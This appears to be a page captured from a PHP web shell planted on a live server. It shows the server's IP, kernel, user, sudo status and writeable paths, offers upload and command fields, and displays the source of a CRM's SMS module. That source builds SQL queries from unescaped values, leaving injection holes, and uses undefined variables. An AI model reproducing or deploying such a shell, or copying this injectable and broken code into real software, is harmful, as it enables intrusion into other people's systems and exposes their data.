403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.122
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/nikoocalligraphy_crm/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/nikoocalligraphy_crm/functions/sms_general.php
<?php

function general_sms_balance()
{
	return sms_balance();
}
function general_sms_send_template($message_template_id,$message_destination,$message_parameters)
{
	global $db;
	global $today_datetime;
			
	$db->query("select * from messages_templates where id='".$message_template_id."'");
	$res = $db->result();
	if (count($res)>0)
	{
		$row = $res[0];
	
		if (substr($message_destination,0,2)=="09")
		{
			$message_destination = "98".substr($message_destination, 1);
		}
		else if (substr($message_destination,0,3)=="+98")
		{
			$message_destination = substr($message_destination, 1);
		}
		else if (substr($message_destination,0,4)=="0098")
		{
			$message_destination = substr($message_destination, 2);
		}

		
		$message_template = $row['message_template'];
		$message_body = vsprintf($message_template,$message_parameters);
		$data = (
		[
			 "organization" => SMS_SERVICE_ORGANIZATION,
			 "username" => SMS_SERVICE_USERNAME,
			 "password" => SMS_SERVICE_PASSWORD,
			 "method" => "send",
			 "messages" => [
				 [
					 "sender" => SMS_SERVICE_SOURCE_NO,
					 "recipient" => $message_destination,
					 "body" => $message_body,
					 "customerId" => 1
				 ]
			 ]
		]);

		$data = json_encode($data);
		$client = curl_init(SMS_SERVICE_URL);
		curl_setopt($client,CURLOPT_POST,1);
		curl_setopt($client,CURLOPT_POSTFIELDS,$data);
		curl_setopt($client, CURLOPT_RETURNTRANSFER, 1);
		$response=curl_exec($client);
		$result=json_decode($response,true);
		

		$message_server_id=$result['data'][0]['serverId'];
		$db->query("
			insert into messages set
			message_server_id='".$message_id."',
			message_source='".SMS_SERVICE_SOURCE_NO."',
			message_destination='".$message_destination."',
			message_date_time='".$today_datetime."',
			message_body='".$message_body."',
			message_status_code='".$message_status_code."',
			message_status_description='".$message_status_description."'
		");
	}
}

function general_sms_updatestatus($message_server_id)
{
	global $db;
	$data = (
	[
		 "organization" => SMS_SERVICE_ORGANIZATION,
		 "username" => SMS_SERVICE_USERNAME,
		 "password" => SMS_SERVICE_PASSWORD,
		 "method" => "getstatus_serverId",
		 "serverIds" => [
			 $message_server_id
		 ]
	]);
	$data = json_encode($data);
	$client = curl_init(SMS_SERVICE_URL);
	curl_setopt($client,CURLOPT_POST,1);
	curl_setopt($client,CURLOPT_POSTFIELDS,$data);
	curl_setopt($client, CURLOPT_RETURNTRANSFER, 1);
	$response=curl_exec($client);
	$result=json_decode($response,true);
	
	$message_status_description=$result['data'][0]['Status'];

	$db->query("
		update messages set
		message_status_description='".$message_status_description."'
		where message_server_id='".$message_server_id."'
	");	
}

Youez - 2016 - github.com/yon3zu
LinuXploit